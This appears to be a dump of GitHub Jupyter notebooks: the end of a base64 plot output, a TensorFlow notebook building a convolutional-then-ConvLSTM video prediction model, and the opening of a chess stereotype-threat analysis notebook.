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\n93hnWvi5P7Mf8fMraQHPR3PTS+scTPLxKWs8PO0A1OVpl9n4eNrput+d5HnD63jL18M22r+5vvu+\nWXd98wlr/ObQLzwpbSDHa4fPq/unBRpvyPSntP+vtIP5t037bnwk667LnbYvNe2ooq367xsyg/47\nc+67hzb039tv9w2Zc/+dOfbdQ/v67wl+Tl+7B2DmSinPSrtL311y49GYknbaxotqrS+csv3Hp4We\nR7eYfse0U0hfOkWN/zft1JzHbDLt/CT/M8m31FrPm6LGc9NOi3nFFtOfn3bKy7dPWmNDeyVtB+WZ\naUePvqLW+q4p2/z1DU+9pq4bkV1KeeFQ57FT1rlP2h36vik3jqq7Lu26iT9da91q9PZ2278h7U7a\nH7vZX568xm3Tdt4fnvaF8/9M2xbPT9uxf2OS75pmGUopd067dtTD0t57q2k3+fmrYfp3pN0h/sVT\nrMrpEQCH0t7jSXtvX1WHEQKLbPh8uGut9Z1bTL9d2mkcm45KmNEy3CvtNI2ZjMpf1+7j0ka4vmCe\nr+V19e6d5PO11g/NqL0vSdshPi/tS+3VM2jzHmnh9o7v+A5/n/1pp9xdN4P29qddw+5WSd5aax3d\nzCzjtn/rtEt8PCVnjgS+Vdrn7X9LcrjWOvGovlLK09LukvpzW0y/MMkzaq3Pm7D9n0/7jPvOTabd\nPu2slYfUWic+c6WU8itJ3lZr/a9bTP+xJI+otX7TpDU2tHebtL7jUWnvj6n77qHdN+TMETMvX79O\npZTnpH0ZfeSUdR6eFiY+bMOkv0/rvzd9LWyz7Z3ouy9MC/sennaK4nel7Y/8wPAr703yr2qtG89o\nGKfGvdPChnukbZNr0y7f8yfD9CenXTtz2rNuTvffD86No04/mvZ6nkv/XUops/r83ar/Pl1jnv33\nuhrz7L8fnRZMz/P1fHo9ZtZ/b+i7/6HW+v6bmWW77d4jbcDDDRuen9lr6iy1595/z2s9BH3A3A2d\n4T8FAbP64N8JQ5i3f6sdn1LKLZLcrdb6gc2mz2gZ9qcdmZz2VKmN7R5K62xeVmud3VDxzWvdNm0d\n1mbUXkm7ht55adeS+cIs2t1NpZR9aSPar5lhm/dLO3o/kx0U4NwhyJ96GQT5m7cnyD97e6dvgnLr\nzCHIP0vdz6ddO/H4zf7yAravxmLV6GEd9nqNXb1GH3BuGIK9M8K9Usrdkzyv1vqUedWdRY1hp+1s\nX2rumnYq+tzWI+36Gc+bdY06XMcm2ZHt8cWZ4ToMO/MfXf/cXnlNbWUIQddmWaPW+p7Nnp9FjWF0\nyaEkn9w4qmQILZ9Qa33ZpO3vRI0e1kGNxWm/sxoradc1fkut9U9LKfdPG6H/PaWUo7XWK6dpf5Ma\n715X49ZJpqpRa/3HUspdhusrzbz9nViHrWqknUL2jUl+ag7b4s211hNzXo8311r/YqjxrGEE6bTb\n+wOllJVSyk5ti03/Tmk3t5vWPdIun/SWYbTPTNejlPKzW0y6RZIfK6V8IklqrT+8iO2rsVg1eliH\nnmqcUc+IPmA3lFIelHbNsFnf8EWNBazRwzqoccb8X5p2etFy2ulFb0q7U+PfD9MvTPL306zDFjWe\neHp0zLQ15t2+GotVo4d12MEaj0079f8zaSOVHp/kZWk3Tzgv7Rqf3zBN4DDvGj2sgxqL035nNW4Y\n2tt4Q7yvSbuR4bVpx1MftYjtq7FYNXpYh55qnFFP0AfMQ2mnlpzNvZP8zJRfRtRYkBo9rIMaY7X/\nO2nXE3xy2g2QXpTky5I8sta6OqOwYa41elgHNRan/c5qvDnJlbXW55RSnph2cf5frrVeNkx/Qdpp\nr9+wqDV6WAc1Fqf9zmo8O+2GGU9dHxiWUr6QdvrgtNdsnmv7aixWjR7WoacaZ6hzvHvJ/9/eHfPI\nFEZhAH5nO5VKVLqNyjYbCqVSS6VSS/wPBb2fQCdZpV6DTkGiQCNKodB9im+Gu2zWMHM3n+N5ki+Z\nm5ucN6ecc2fucRzn/z35saXo5w1M07PpRiwZg2RU6EHGH9X/mGRvcr1I3+L3Ln2IeHYLPcyaUaEH\nGePUL5bxKcnu8vNO+obA/cn9C9l8i/qsGRV6kDFO/UoZyzqXkrxOci/93cDJdjc5z1pfxlgZFXqo\nlLE6f70lEuA3PiS53lrbOeok2ZdRKqNCDzLWdyp9+2aS/j+D1tqtJI/Ttwaf37D+SWRU6EHGOPUr\nZXzX+pbDrzn8V6PPSU7/KxkVepAxTv0KGa21Z+nv+TyT5PlisdjL4c3LQ9eXMVZGhR4qZawY9AFz\neZHjhwkt/ZcIMmpkVOhBxvpeJbn4S9HWbqe/X+hgg9onlVGhBxnj1K+U8TbJ7uT6cpL3k+tz6Q8T\nRs6Yu76MsTLmrl8pI0nSWvvSWruZ5E6SJ+kLAbZm7voyxsqo0EOljMSgD5jP3SRPj7n/JskVGWUy\nKvQgY32Pktw46sZy4PAgmw8r586o0IOMcepXyrifyReP1trL1jfQr1zN5ttF586o0IOMcepXyjik\ntfYw/eHBtfRXAGzV3PVljJVRoYcqGZZxAAAAAEABftEHAAAAAAUY9AEAAABAAQZ9AAAAAFCAQR8A\nAAAAFGDQBwAAAAAFGPQBAAAAQAEGfQAAAABQgEEfAAAAABTwDcBk2jybUIsrAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fb922d10ef0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "decadesDF.sum().plot(kind='bar')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" } }, "nbformat": 4, "nbformat_minor": 0 }

gpl-3.0

kabrapratik28/DeepVideos

notebooks/Conv_Before_LSTM.ipynb

1

8960

{ "cells": [ { "cell_type": "code", "execution_count": 113, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# TensorFlow Model !\n", "import os\n", "import shutil\n", "import numpy as np\n", "import tensorflow as tf\n", "tf.reset_default_graph()\n", "from cell import ConvLSTMCell\n", "import sys\n", "module_path = os.path.join(\"/home/pratik/work/dl/deepvideos/model/../\")\n", "if module_path not in sys.path:\n", " sys.path.append(module_path)\n", "from datasets.batch_generator import datasets" ] }, { "cell_type": "code", "execution_count": 114, "metadata": { "collapsed": true }, "outputs": [], "source": [ "batch_size = 4\n", "timesteps = 32\n", "shape = [64, 64] # Image shape\n", "kernel = [3, 3]\n", "channels = 3\n", "filters = [128, 128] # 2 stacked conv lstm filters\n", "\n", "# Create a placeholder for videos.\n", "inputs = tf.placeholder(tf.float32, [batch_size, timesteps] + shape + [channels], name=\"conv_lstm_inputs\") # (batch_size, timestep, H, W, C)\n", "outputs_exp = tf.placeholder(tf.float32, [batch_size, timesteps] + shape + [channels], name=\"conv_lstm_outputs_exp\") # (batch_size, timestep, H, W, C)\n", "\n", "# model output\n", "model_output = None\n", "\n", "# loss\n", "l2_loss = None\n", "\n", "# optimizer\n", "optimizer = None" ] }, { "cell_type": "code", "execution_count": 115, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<tf.Tensor 'conv_lstm_inputs:0' shape=(4, 32, 64, 64, 3) dtype=float32>" ] }, "execution_count": 115, "metadata": {}, "output_type": "execute_result" } ], "source": [ "inputs" ] }, { "cell_type": "code", "execution_count": 116, "metadata": { "collapsed": true }, "outputs": [], "source": [ "conv_inp_reshape_size = [batch_size * timesteps,]+shape+[channels,]\n", "conv_input = tf.reshape(inputs, conv_inp_reshape_size)" ] }, { "cell_type": "code", "execution_count": 117, "metadata": { "collapsed": true }, "outputs": [], "source": [ "slim = tf.contrib.slim\n", "from tensorflow.python.ops import init_ops\n", "from tensorflow.contrib.layers.python.layers import regularizers\n", "trunc_normal = lambda stddev: init_ops.truncated_normal_initializer(0.0, stddev)\n", "l2_val = 0.00005\n" ] }, { "cell_type": "code", "execution_count": 118, "metadata": { "collapsed": true }, "outputs": [], "source": [ "#tf.contrib.slim.conv2d?\n", "#tf.contrib.slim.max_pool2d?\n", "tf.contrib.slim.conv2d_transpose?" ] }, { "cell_type": "code", "execution_count": 119, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tensor(\"conv_before_lstm/conv_1/Relu:0\", shape=(128, 64, 64, 32), dtype=float32)\n", "Tensor(\"conv_before_lstm/conv_2/Relu:0\", shape=(128, 64, 64, 64), dtype=float32)\n", "Tensor(\"conv_before_lstm/pool_1/MaxPool:0\", shape=(128, 32, 32, 64), dtype=float32)\n", "Tensor(\"conv_before_lstm/conv_3/Relu:0\", shape=(128, 32, 32, 32), dtype=float32)\n", "Tensor(\"conv_before_lstm/pool_2/MaxPool:0\", shape=(128, 16, 16, 32), dtype=float32)\n", "Tensor(\"conv_before_lstm/conv_4/Relu:0\", shape=(128, 16, 16, 32), dtype=float32)\n" ] } ], "source": [ "with tf.variable_scope('conv_before_lstm'):\n", " net = slim.conv2d(conv_input, 32, [3,3], scope='conv_1',weights_initializer=trunc_normal(0.01),weights_regularizer=regularizers.l2_regularizer(l2_val))\n", " print (net)\n", " net = slim.conv2d(net, 64, [3,3], scope='conv_2',weights_initializer=trunc_normal(0.01),weights_regularizer=regularizers.l2_regularizer(l2_val))\n", " print (net)\n", " net = slim.max_pool2d(net, [2,2], scope='pool_1')\n", " print (net)\n", " net = slim.conv2d(net, 32, [3,3], scope='conv_3',weights_initializer=trunc_normal(0.01),weights_regularizer=regularizers.l2_regularizer(l2_val))\n", " print (net)\n", " net = slim.max_pool2d(net, [2,2], scope='pool_2')\n", " print (net)\n", " net = slim.conv2d(net, 32, [3,3], scope='conv_4',weights_initializer=trunc_normal(0.01),weights_regularizer=regularizers.l2_regularizer(l2_val))\n", " print (net)" ] }, { "cell_type": "code", "execution_count": 120, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tensor(\"Reshape_1:0\", shape=(4, 32, 16, 16, 32), dtype=float32)\n" ] } ], "source": [ "net_output_shape = net.get_shape().as_list()\n", "lstm_reshape_size = [batch_size, timesteps] + net_output_shape[1:]\n", "lstm_reshape = tf.reshape(net, lstm_reshape_size)\n", "print lstm_reshape" ] }, { "cell_type": "code", "execution_count": 121, "metadata": {}, "outputs": [], "source": [ "batch_size, time_step, H, W, C = lstm_reshape.get_shape().as_list()\n", "with tf.variable_scope('conv_lstm_model'):\n", " cells = []\n", " for i, each_filter in enumerate(filters):\n", " cell = ConvLSTMCell([H,W], each_filter, kernel)\n", " cells.append(cell)\n", "\n", " cell = tf.nn.rnn_cell.MultiRNNCell(cells, state_is_tuple=True) \n", " states_series, current_state = tf.nn.dynamic_rnn(cell, lstm_reshape, dtype=lstm_reshape.dtype)\n", " # current_state => Not used ... \n", " model_output = states_series" ] }, { "cell_type": "code", "execution_count": 122, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<tf.Tensor 'conv_lstm_model/rnn/transpose:0' shape=(4, 32, 16, 16, 128) dtype=float32>" ] }, "execution_count": 122, "metadata": {}, "output_type": "execute_result" } ], "source": [ "model_output" ] }, { "cell_type": "code", "execution_count": 123, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<tf.Tensor 'Reshape_2:0' shape=(128, 16, 16, 128) dtype=float32>" ] }, "execution_count": 123, "metadata": {}, "output_type": "execute_result" } ], "source": [ "batch_size, time_step, H, W, C = model_output.get_shape().as_list()\n", "deconv_reshape = tf.reshape(model_output, [batch_size*time_step, H, W, C])\n", "deconv_reshape" ] }, { "cell_type": "code", "execution_count": 124, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tensor(\"deconv_after_lstm/deconv_1/Relu:0\", shape=(128, 16, 16, 64), dtype=float32)\n", "Tensor(\"deconv_after_lstm/deconv_2/Relu:0\", shape=(128, 32, 32, 32), dtype=float32)\n", "Tensor(\"deconv_after_lstm/deconv_3/Tanh:0\", shape=(128, 64, 64, 3), dtype=float32)\n" ] } ], "source": [ "with tf.variable_scope('deconv_after_lstm'):\n", " net = slim.conv2d_transpose(deconv_reshape, 64, [3,3], scope='deconv_1',weights_initializer=trunc_normal(0.01),weights_regularizer=regularizers.l2_regularizer(l2_val))\n", " print net\n", " net = slim.conv2d_transpose(net, 32, [3,3], stride=2, scope='deconv_2',weights_initializer=trunc_normal(0.01),weights_regularizer=regularizers.l2_regularizer(l2_val))\n", " print net\n", " net = slim.conv2d_transpose(net, 3, [3,3], stride=2, activation_fn=tf.tanh ,scope='deconv_3',weights_initializer=trunc_normal(0.01),weights_regularizer=regularizers.l2_regularizer(l2_val))\n", " print net" ] }, { "cell_type": "code", "execution_count": 125, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<tf.Tensor 'Reshape_3:0' shape=(4, 32, 64, 64, 3) dtype=float32>" ] }, "execution_count": 125, "metadata": {}, "output_type": "execute_result" } ], "source": [ "net_pred_shape = net.get_shape().as_list()\n", "out_pred_shape = [batch_size, timesteps,] + net_pred_shape[1:]\n", "output_pred = tf.reshape(net, out_pred_shape)\n", "output_pred" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 }

apache-2.0

tomstafford/FIDEchess

no_ST_in_chess.ipynb

1

340744

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# No stereotype threat effect in international chess\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_Stafford, T. (2016). No stereotype threat effect in international chess, Annual Conference of the Cognitive Science Society, 10-13th August 2016, Philadelphia, USA_\n", "\n", "Full paper at [osf.io/pngyq/](https://osf.io/pngyq/)\n", "\n", "Come see the poster - number 98, Friday, 1pm @ CogSci16" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Background:\n", "\n", "Stereotype threat is where awareness of your identity as a member of a social group causes you to act in line with stereotypes about that group, especially in cases where this harms your performance. The phenomena was first discussed in the context of black americans and intelligence tests, and has subsequently been applied to women's performance at mathematics.\n", "\n", "Chess is a widely played game with high cognitive demands. Due to its pivotal role in work on reasoning, memory and expertise it has been called 'the drosophila of cogntive science'. Chess is also a male dominated activity, and there is correspondingly a stereotype that the best players are male and women are less able at the game.\n", "\n", "We have obtained data on all games recorded by the international chess authority, FIDE, over the last five years. Because we have data on player and opponent gender, as well as player ratings, we are able to look with a high degree of statistical power for any evidence of a stereotype threat in international chess." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## The Data\n", "\n", "We use the \"Sonas 92\" dataset from Jeff Sonas of Sonas Consulting. " ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "working directory = /home/tom/Desktop/FIDEchess\n", "N games in data = 1180701\n" ] } ], "source": [ "import pandas as pd #data munging \n", "import numpy as np #number functions\n", "import os #directory and file functions\n", "import pylab as plt #graphing functions\n", "import socket #machine id\n", "import seaborn as sns\n", "from matplotlib.font_manager import FontProperties\n", "\n", "print \"working directory = \" + os.getcwd()\n", "\n", "#----------------- load subset of data, which contains only variables used in this analysis\"\n", "local=False\n", "gamedatloc='gamedat_tenpc.csv' #10% of the players in the full dataset\n", "if local:\n", " gamedatloc='../../../../Sonas92/gamedat2.csv' #full dataset not currently available, sorry\n", "\n", "#games=pd.read_csv(gamedatloc,index_col=0,nrows=30000) #if you only want a trivial subset of the data\n", "games=pd.read_csv(gamedatloc,index_col=0)\n", "print \"N games in data = \" + str(len(games)) #not all of these can 